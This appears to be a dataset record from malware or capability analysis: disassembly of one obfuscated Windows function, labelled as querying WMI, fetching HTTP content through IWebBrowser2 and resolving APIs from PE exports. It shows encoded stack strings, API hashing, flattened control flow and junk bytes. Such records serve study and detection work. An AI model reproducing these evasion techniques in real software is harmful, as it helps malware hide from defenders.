Function at 0x43f2c0
Capabilities:
Connect to wmi namespace via wbemlocator
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa8
mov esi, dword [0x4555fc]
mov dword [esp + 0x28], 0xf301f12d
mov dword [esp + 0x2c], 0xef7ded65
mov dword [esp + 0x30], 0xeb77e964
mov dword [esp + 0x34], 0xe71ae571
mov dword [esp + 0x38], 0xe37be172
mov dword [esp + 0x3c], 0x9f039d12
mov dword [esp + 0x40], 0x9b9a9945
mov dword [esp + 0x7c], 0
mov eax, dword [esp + 0x7c]
cmp eax, 0x1b
ja 0x43f34b
nop
nop
mov eax, dword [esp + 0x7c]
movzx eax, byte [esp + eax + 0x28]
push dword [esp + 0x7c]
push eax
call fcn.00442db0
add esp, 8
mov ecx, dword [esp + 0x7c]
mov byte [esp + ecx + 0x28], al
inc dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
cmp eax, 0x1c
jb 0x43f320
lea eax, [esp + 0x8c]
lea edi, [esp + 0x7c]
lea ebx, [esp + 0x28]
push eax
push 8
push edi
push 0xd
push ebx
push 0
call esi
shr eax, 0x1f
jmp dword [eax*4 + 0x452e08]
mov dword [esp + 0x7c], 0x3a0043
mov dword [esp + 0x80], 0x5c
mov dword [esp + 0x98], 0
mov dword [esp + 0x94], 0
mov dword [esp + 0x90], 0
mov dword [esp + 0x8c], 0
mov dword [esp + 0x64], 0
lea eax, [esp + 0x64]
push eax
push 0x44ccd0
push 1
push 0
push 0x44cce0
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x452e10]
mov dword [esp + 0x28], 0x438d41b2
mov dword [esp + 0x2c], 0x47b2458b
mov dword [esp + 0x30], 0x4b8949b4
mov dword [esp + 0x34], 0x4f834d85
mov dword [esp + 0x38], 0x73a07186
mov dword [esp + 0x3c], 0x7574
mov byte [esp + 0x40], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x18
ja 0x43f45b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
movzx eax, byte [esp + eax + 0x28]
push dword [esp + 8]
push eax
call fcn.00442e00
add esp, 8
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x28], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x19
jb 0x43f430
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
lea edx, [esp + 0x60]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x452e18]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x7c]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x452e20]
mov dword [esp + 0x28], 0xe93deb3d
mov dword [esp + 0x2c], 0xedeeef24
mov dword [esp + 0x30], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0xb
ja 0x43f50b
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
movzx eax, byte [esp + eax + 0x28]
push dword [esp + 8]
push eax
call fcn.00442e60
add esp, 8
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x28], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0xc
jb 0x43f4e0
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x28], 0x51894f99
mov dword [esp + 0x2c], 0x5595539c
mov dword [esp + 0x30], 0x59825791
mov dword [esp + 0x34], 0x5d705b78
mov dword [esp + 0x38], 0x61985f7c
mov dword [esp + 0x3c], 0x65b363b2
mov dword [esp + 0x40], 0x694667ab
mov dword [esp + 0x44], 0x6d816bb1
mov dword [esp + 0x48], 0x715b6f82
mov dword [esp + 0x4c], 0x75937342
mov dword [esp + 0x50], 0x79bd77b6
mov dword [esp + 0x54], 0x7daf7ba9
mov word [esp + 0x58], 0x7f7c
mov dword [esp + 0x5a], 0
mov word [esp + 0x5e], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x37
ja 0x43f5cb
nop
nop
nop
mov eax, dword [esp + 8]
movzx eax, byte [esp + eax + 0x28]
push dword [esp + 8]
push eax
call fcn.00442eb0
add esp, 8
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x28], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x38
jb 0x43f5a0
mov dword [esp + 0xa0], esi
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x60]
mov ecx, dword [esi]
lea edx, [esp + 0x78]
push edx
push 0
push 0x30
mov dword [esp + 0xa8], eax
push eax
push dword [esp + 0x2c]
push esi
call dword [ecx + 0x50]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x452e28]
mov dword [esp + 0x70], 0
mov eax, dword [esp + 0x78]
mov ecx, dword [eax]
lea edx, [esp + 0x70]
lea esi, [esp + 0x74]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x70], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
jmp dword [eax*4 + 0x452e30]
lea eax, [esp + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov esi, dword [esp + 0x74]
mov dword [esp + 0x28], 0x91399f29
mov dword [esp + 0x2c], 0x95099302
mov dword [esp + 0x30], 0x890a9737
mov dword [esp + 0x34], 0x8d1d8b36
mov dword [esp + 0x38], 0x812c8f13
mov dword [esp + 0x3c], 0x85108327
mov word [esp + 0x40], 0x8784
mov dword [esp + 0x42], 0
mov word [esp + 0x46], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x1f
ja 0x43f6db
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x28]
push dword [esp + 4]
push eax
call fcn.00442f20
add esp, 8
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x28], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x20
jb 0x43f6b0
mov eax, dword [esi]
push 0
push 0
lea ecx, [esp + 0x10]
push ecx
push 0
push ebx
push esi
call dword [eax + 0x10]
test eax, eax
setns al
cmp word [esp + 8], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x452e38]
push dword [esp + 0x10]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x18], eax
lea eax, [ecx + eax*2]
mov dword [esp + 0x6c], eax
mov eax, ecx
movzx ecx, word [ecx]
test cx, cx
mov dword [esp + 0x24], eax
je 0x43f768
xor edi, edi
jmp 0x43f740
add edi, edx
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
je 0x43f76a
cmp eax, dword [esp + 0x6c]
jae 0x43f76a
movzx esi, cx
cmp esi, 0x800
mov ecx, 3
sbb ecx, 0
mov edx, 1
cmp esi, 0x80
jb 0x43f732
mov edx, ecx
jmp 0x43f732
xor edi, edi
lea eax, [edi + 1]
mov dword [esp + 0x68], eax
push eax
call fcn.0040ca00
add esp, 4
mov dword [esp + 0x20], eax
mov ecx, eax
test edi, edi
mov eax, dword [esp + 0x24]
jle 0x43f85e
mov ecx, dword [esp + 0x20]
cmp dword [esp + 0x18], 0
jle 0x43f85e
mov ecx, dword [esp + 0x20]
lea esi, [ecx + edi]
add dword [esp + 0x68], ecx
add eax, 2
mov dword [esp + 0x18], esi
movzx edx, word [eax - 2]
test dx, dx
je 0x43f85e
mov dword [esp + 0x24], eax
cmp dx, 0x7f
ja 0x43f7cd
mov byte [ecx], dl
mov ebx, 1
jmp 0x43f83d
mov esi, dword [esp + 0x68]
sub esi, ecx
mov eax, esi
xor eax, 1
and esi, 0xfffffffe
add esi, esi
sub esi, eax
movzx eax, dx
cmp esi, 2
jb 0x43f810
cmp eax, 0x7ff
ja 0x43f810
mov eax, edx
shr eax, 6
add al, 0xc0
mov byte [ecx], al
mov eax, edx
not eax
or eax, 0x3f
add eax, edx
add al, 0x81
mov byte [ecx + 1], al
mov ebx, 2
mov esi, dword [esp + 0x18]
jmp 0x43f83d
xor ebx, ebx
cmp esi, 3
mov esi, dword [esp + 0x18]
jb 0x43f83d
mov ebx, eax
shr ebx, 0xc
or bl, 0xe0
mov byte [ecx], bl
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [ecx + 1], al
and dl, 0x3f
or dl, 0x80
mov byte [ecx + 2], dl
mov ebx, 3
add ecx, ebx
cmp ecx, esi
jae 0x43f85a
mov edx, dword [esp + 0x24]
lea eax, [edx + 2]
cmp edx, dword [esp + 0x6c]
lea ebx, [esp + 0x28]
jb 0x43f7ad
jmp 0x43f85e
lea ebx, [esp + 0x28]
mov byte [ecx], 0
add edi, 0xfffffffc
xor ecx, ecx
xor eax, eax
cmp ecx, 4
setb al
mov edx, dword [esp + 0x20]
jmp dword [eax*4 + 0x452e40]
mov eax, dword [edx + ecx*4]
mov dword [esp + ecx*4 + 0x8c], eax
xor eax, eax
sub edi, 4
setb al
jmp dword [eax*4 + 0x452e48]
inc ecx
xor eax, eax
cmp ecx, 4
setb al
jmp dword [eax*4 + 0x452e40]
jmp dword [0x452e50]
push edx
call fcn.0040ca10
add esp, 4
mov eax, dword [case.0x43f700.0]
lea edi, [esp + 0x7c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
lea eax, [esp + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x74]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x78]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x1c]
call esi
push dword [esp + 0x9c]
call esi
mov esi, dword [esp + 0xa0]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [ebp + 8]
mov dword [esp + 0x28], 0
push 0xd2e7977e
push dword [0x4555f4]
call fcn.004488d0
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push edi
call eax
mov edx, esi
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x452e68]
mov eax, dword [esp + 0x28]
mov dword [esp + 0x8c], eax
jmp dword [0x452e78]
xor edi, edi
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x452e80]
xor ecx, ecx
test edi, edi
setne cl
mov eax, edi
jmp dword [ecx*4 + 0x452e88]
xor ecx, ecx
cmp dword [esp + edi*4 + 0x8c], 0
sete cl
mov eax, edi
jmp dword [ecx*4 + 0x452e90]
lea eax, [edi - 1]
imul eax, dword [esp + eax*4 + 0x8c], 0x1a5845
add eax, 0xebde8a13
mov dword [esp + edi*4 + 0x8c], eax
mov ebx, 0xffffffff
mov esi, 0xfffffffe
push 0x10
push 9
mov dword [esp + 0x24], edx
push edx
push eax
call fcn.00436310
add esp, 0x10
nop
nop
nop
nop
add esi, 2
cmp byte [eax + ebx + 1], 0
lea ebx, [ebx + 1]
jne case.default.0x43fa21
xor ebx, 8
not esi
and esi, 0x10
sub ebx, esi
xor edx, edx
cmp ebx, 0
setne dl
xor ecx, ecx
jmp dword [edx*4 + 0x452e98]
mov byte [eax + ecx - 1], 0x30
dec ecx
xor edx, edx
cmp ebx, ecx
setne dl
jmp dword [edx*4 + 0x452e98]
mov edx, dword [esp + 0x1c]
add edx, 8
inc edi
xor eax, eax
cmp edi, 4
setb al
jmp dword [eax*4 + 0x452e80]
mov eax, dword [case.0x43f872.27]
jmp eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
jmp 0x43fcda
mov eax, dword [case.0x43f872.33]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
push 0x400
call fcn.00443020
add esp, 4
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], 0x7c7d7a7b
mov byte [ebp - 0x18], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 4
ja 0x43fb26
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
movzx eax, byte [ebp + eax - 0x1c]
push dword [ebp - 0x10]
push eax
call fcn.004428a0
add esp, 8
mov ecx, dword [ebp - 0x10]
mov byte [ebp + ecx - 0x1c], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 5
jb 0x43fb00
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x455600]
test ecx, ecx
je 0x43fb79
mov dword [ebp - 0x28], ebx
xor edx, edx
mov ebx, dword [0x455604]
nop
nop
cmp dword [ebx + edx*8], 0xa70a987f
je 0x43fb50
inc edx
cmp ecx, edx
jne 0x43fb40
jmp 0x43fb79
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, eax
je 0x43fb79
push 0x2f
push 0x400
push dword [ebp - 0x20]
push dword [ebp - 0x28]
push dword [ebp - 0x14]
push 5
push dword [0x455608]
push ecx
call fcn.00445ce0
add esp, 0x20
mov ecx, dword [case.0x43f872.37]
nop
jmp ecx
not eax
shr eax, 0x1f
xor ebx, ebx
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x20]
jmp dword [eax*4 + 0x452ed8]
push ecx
call fcn.004430d0
add esp, 4
mov esi, dword [ebp - 0x24]
mov dword [ebp - 0x1c], 0x7c7d7a7b
mov byte [ebp - 0x18], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 4
ja 0x43fbe6
mov eax, dword [ebp - 0x10]
movzx eax, byte [ebp + eax - 0x1c]
push dword [ebp - 0x10]
push eax
call fcn.004428a0
add esp, 8
mov ecx, dword [ebp - 0x10]
mov byte [ebp + ecx - 0x1c], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 5
jb 0x43fbc0
mov eax, dword [0x455600]
test eax, eax
je 0x43fcd5
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov edi, dword [0x455604]
nop
nop
cmp dword [edi + edx*8], 0x7e776f1
je 0x43fcbb
inc edx
cmp eax, edx
jne 0x43fc00
jmp 0x43fcd5
xor eax, eax
cmp ebx, dword [ecx]
setb al
mov dword [ebp - 0x14], 0
jmp dword [eax*4 + 0x452ee0]
mov edi, dword [ebp + 0xc]
mov ecx, esi
call fcn.00443500
inc ebx
xor eax, eax
mov ecx, dword [ebp - 0x20]
cmp ebx, dword [ecx]
setb al
jmp dword [eax*4 + 0x452ee0]
mov eax, dword [ecx + ebx*4 + 4]
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov dword [esi], 0
mov ecx, esi
push 0
push eax
call fcn.00443370
xor eax, eax
mov ecx, edi
neg ecx
mov edi, dword [ebp + 0x10]
sbb eax, edi
setl al
movzx eax, al
shl eax, 0x14
or eax, 1
mov ecx, esi
push eax
call fcn.00443390
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x452ee8]
mov ecx, esi
push edi
mov edi, dword [ebp + 0xc]
push edi
push 0
call fcn.004435b0
test eax, eax
setns al
mov dword [ebp - 0x14], eax
jmp 0x43fc33
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
je 0x43fcd5
push esi
push 1
push dword [0x455608]
push eax
call fcn.00445ce0
add esp, 0x10
mov eax, dword [ebp - 0x14]
and al, 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
call fcn.0040e960
sub esp, 0xc
mov edx, esp
mov dword [ebp - 0x384], 0
mov eax, dword [ebp - 0x388]
mov ecx, dword [ebp - 0x384]
mov eax, dword [eax + ecx*4]
jmp eax
not al
movzx eax, al
and eax, 1
mov dword [ebp - 0x23c], eax
mov eax, dword [ebp - 0x240]
mov ecx, dword [ebp - 0x23c]
mov eax, dword [eax + ecx*4]
mov edx, dword [ebp - 0x10]
jmp eax
movzx eax, al
and eax, 1
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x174]
mov eax, dword [eax + ecx*4]
mov edx, dword [ebp - 0x10]
jmp eax
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x170]
mov eax, dword [ecx + eax*4]
jmp eax
dec esi
fidivr dword [0xd692121]
mov eax, ebx
add eax, 2
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.004412a0
add esp, 8
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x58]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e960
sub esp, 0xc
mov esi, esp
push eax
mov dword [ebp - 0x3c], esp
mov dword [ebp - 0x364], 0
mov eax, dword [ebp - 0x368]
mov ecx, dword [ebp - 0x364]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [edx]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [ebp - 0x2e4], ecx
mov eax, dword [ebp - 0x2e8]
mov ecx, dword [ebp - 0x2e4]
mov eax, dword [eax + ecx*4]
jmp eax
add edx, 0xfffffffe
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x168]
mov eax, dword [ecx + eax*4]
jmp eax
ret 0x379e
call fcn.0040e960
xor eax, eax
mov ecx, dword [ebp - 0x34]
sub ecx, 0x5c
sete cl
mov dword [ebp - 0x25c], 1
mov edx, dword [ebp - 0x260]
mov ebx, dword [ebp - 0x25c]
mov edx, dword [edx + ebx*4]
jmp edx
mov ax, word [esi]
test ax, ax
sete al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0x190]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [ebp - 0x38], edx
call fcn.0040e960
mov dword [ebp - 0x1dc], 1
mov eax, dword [ebp - 0x1e0]
mov ecx, dword [ebp - 0x1dc]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e960
mov dword [ebp - 0x1fc], 0
mov eax, dword [ebp - 0x200]
mov ecx, dword [ebp - 0x1fc]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx + eax*4]
jmp eax
add edx, 4
mov eax, dword [ebp - 0x20c]
mov ecx, dword [ebp - 0x210]
mov eax, dword [ecx + eax*4]
mov esi, edx
mov edx, dword [ebp - 0x10]
jmp eax
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xb0]
mov eax, dword [ecx + eax*4]
mov bl, 1
jmp eax
invalid
mov word [edx], 0
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x110]
mov eax, dword [ecx + eax*4]
mov edi, esi
mov esi, dword [ebp - 0x20]
jmp eax
mov ax, word [edi]
test ax, ax
sete al
mov ecx, dword [ebp - 0x244]
mov edx, dword [ebp - 0x248]
mov ecx, dword [edx + ecx*4]
jmp ecx
add edx, 0xfffffffe
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x148]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x14]
mov ax, word [eax]
mov ecx, dword [ebp - 0x2cc]
mov edx, dword [ebp - 0x2d0]
mov ecx, dword [edx + ecx*4]
jmp ecx
sub esp, 0xc
mov dword [esp + 8], edi
mov edi, dword [ebp - 0x14]
mov dword [esp + 4], edi
mov ebx, dword [ebp - 0x10]
mov dword [esp], ebx
call fcn.00426d20
mov edx, ebx
mov ebx, dword [ebp + 0xc]
add esp, 0xc
lea edx, [edx + esi*2]
lea esi, [edi + esi*2]
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x118]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [ebx]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [ebp - 0x194], ecx
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x194]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x2c], 0
jmp eax
mov word [eax], 0x5c
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0xd0]
mov eax, dword [ecx + eax*4]
jmp eax
mov word [ebx], 0x5c
mov word [ebx + 2], 0
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x100]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x150]
mov ecx, dword [ecx + eax*4]
mov eax, edx
jmp ecx
sub esp, 4
mov dword [esp], edi
call fcn.0041b6b0
add esp, 4
mov ecx, dword [ebp - 0x31c]
mov edx, dword [ebp - 0x320]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [ebp - 0x35c]
mov ecx, dword [ebp - 0x360]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e960
mov dword [ebp - 0x184], 0
mov eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x184]
mov eax, dword [eax + ecx*4]
jmp eax
and bl, 1
movzx eax, bl
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, ebx
add eax, 2
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0xf8]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.0040e960
mov word [ebx], 0
mov dword [ebp - 0x33c], 1
mov eax, dword [ebp - 0x340]
mov ecx, dword [ebp - 0x33c]
mov eax, dword [eax + ecx*4]
jmp eax
dec byte [edi]
mov edi, 0xfb69daea
clc
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x68]
mov eax, dword [ecx + eax*4]
jmp eax
add edi, 4
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x120]
mov eax, dword [ecx + eax*4]
mov esi, edi
jmp eax
mov ecx, dword [ebp - 0x134]
mov edx, dword [ebp - 0x138]
mov ecx, dword [edx + ecx*4]
mov edx, eax
jmp ecx
mov ax, word [ebx]
mov ecx, dword [ebp - 0x27c]
mov edx, dword [ebp - 0x280]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [ebp - 0x234]
mov ecx, dword [ebp - 0x238]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [ebx]
xor ecx, ecx
test ax, ax
sete cl
mov dword [ebp - 0x104], ecx
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x104]
mov eax, dword [eax + ecx*4]
jmp eax
hlt
mov eax, dword [ebp - 0x40]
mov al, byte [eax]
mov byte [ebp - 0x24], al
mov edx, dword [ebp - 0x30]
mov byte [edx], 0xf6
mov byte [edx + 1], 0x3f
mov byte [edx + 2], 0xd2
mov byte [edx + 3], 0x31
mov byte [edx + 4], 0x30
mov byte [edx + 5], 0x33
mov eax, 6
mov byte [edx + eax], 0
add eax, 1
cmp eax, 0xc
jne 0x440c6f
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
cmp eax, 0xc
jae 0x440cb8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
movzx ecx, byte [edx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00442f80
mov edx, dword [ebp - 0x30]
add esp, 8
mov ecx, dword [ebp - 0x18]
mov byte [edx + ecx], al
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
jmp 0x440c82
mov edi, ebx
add edi, 2
sub esp, 8
mov dword [esp + 4], edx
mov dword [esp], edi
call fcn.004412a0
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
mov dword [ebp - 0x284], ecx
mov eax, dword [ebp - 0x288]
mov ecx, dword [ebp - 0x284]
mov eax, dword [eax + ecx*4]
mov edx, dword [ebp - 0x10]
jmp eax
mov ecx, dword [ebp - 0x1a4]
mov edx, dword [ebp - 0x1a8]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.0040e960
mov eax, dword [ebp - 0x2c]
xor al, 1
mov dword [ebp - 0x17c], 0
mov ecx, dword [ebp - 0x180]
mov edx, dword [ebp - 0x17c]
mov ecx, dword [ecx + edx*4]
jmp ecx
std
invalid
inc edx
sub al, 0x7a
xor dh, byte [edi]
inc esp
jl 0x440d29
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x78]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x2f4]
mov ecx, dword [ebp - 0x2f8]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x34c]
mov ecx, dword [ebp - 0x350]
mov eax, dword [ecx + eax*4]
xor ebx, ebx
jmp eax
mov al, cl
and eax, 1
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x1f0]
mov ecx, dword [ebp - 0x1ec]
mov eax, dword [eax + ecx*4]
mov ebx, dword [ebp + 0xc]
jmp eax
xor al, 0xe1
mov al, byte [0xcec8353]
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x98]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [ebp - 0x14], edx
xor eax, eax
mov ecx, edi
sub ecx, 2
sete al
mov dword [ebp - 0x2d4], eax
mov eax, dword [ebp - 0x2d8]
mov ecx, dword [ebp - 0x2d4]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e960
mov dword [ebp - 0x9c], 1
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
mov eax, dword [eax + ecx*4]
jmp eax
sets byte [esi + 0x3c766b3]
add byte [eax], al
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x88]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x334]
mov ecx, dword [ebp - 0x338]
mov eax, dword [ecx + eax*4]
mov edx, ebx
jmp eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x50]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [edx]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [ebp - 0x154], ecx
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x154]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e960
mov eax, dword [ebp - 0x14]
mov cx, word [eax]
xor eax, eax
sub cx, 0x2e
sete cl
mov dword [ebp - 0x1f4], 1
mov edx, dword [ebp - 0x1f8]
mov ebx, dword [ebp - 0x1f4]
mov edx, dword [edx + ebx*4]
jmp edx
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0x220]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x20], esi
sub esp, 8
mov dword [esp], edi
mov dword [esp + 4], 0x5c
call fcn.00441260
add esp, 8
mov esi, eax
xor eax, eax
test esi, esi
sete al
mov dword [ebp - 0x324], eax
mov eax, dword [ebp - 0x328]
mov ecx, dword [ebp - 0x324]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x37c]
mov ecx, dword [ebp - 0x380]
mov eax, dword [ecx + eax*4]
jmp eax
add dword [esp + esi - 0x7bba7410], ecx
mov ecx, dword [ebp - 0x80]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [ebx]
xor ecx, ecx
test ax, ax
sete cl
mov dword [ebp - 0x28c], ecx
mov eax, dword [ebp - 0x290]
mov ecx, dword [ebp - 0x28c]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, cl
and eax, 1
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [ebp - 0x1cc]
mov eax, dword [eax + ecx*4]
mov edi, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
jmp eax
call fcn.0040e960
mov dword [ebp - 0x2ac], 0
mov eax, dword [ebp - 0x2b0]
mov ecx, dword [ebp - 0x2ac]
mov eax, dword [eax + ecx*4]
jmp eax
sub esi, edi
sar esi, 1
mov edx, edi
mov edi, esi
inc edi
xor eax, eax
mov ecx, edi
sub ecx, 1
sete al
mov dword [ebp - 0x2ec], eax
mov eax, dword [ebp - 0x2f0]
mov ecx, dword [ebp - 0x2ec]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e960
mov dword [ebp - 0x344], 1
mov eax, dword [ebp - 0x348]
mov ecx, dword [ebp - 0x344]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x14]
mov edx, eax
add edx, 2
mov ax, word [eax + 2]
xor ecx, ecx
sub ax, 0x2e
sete cl
mov dword [ebp - 0x1e4], ecx
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [ebp - 0x1e4]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e960
mov esi, ebx
add esi, 2
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.004412a0
add esp, 8
mov dword [ebp - 0x1ac], 1
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ebp - 0x1ac]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x128]
mov eax, dword [ecx + eax*4]
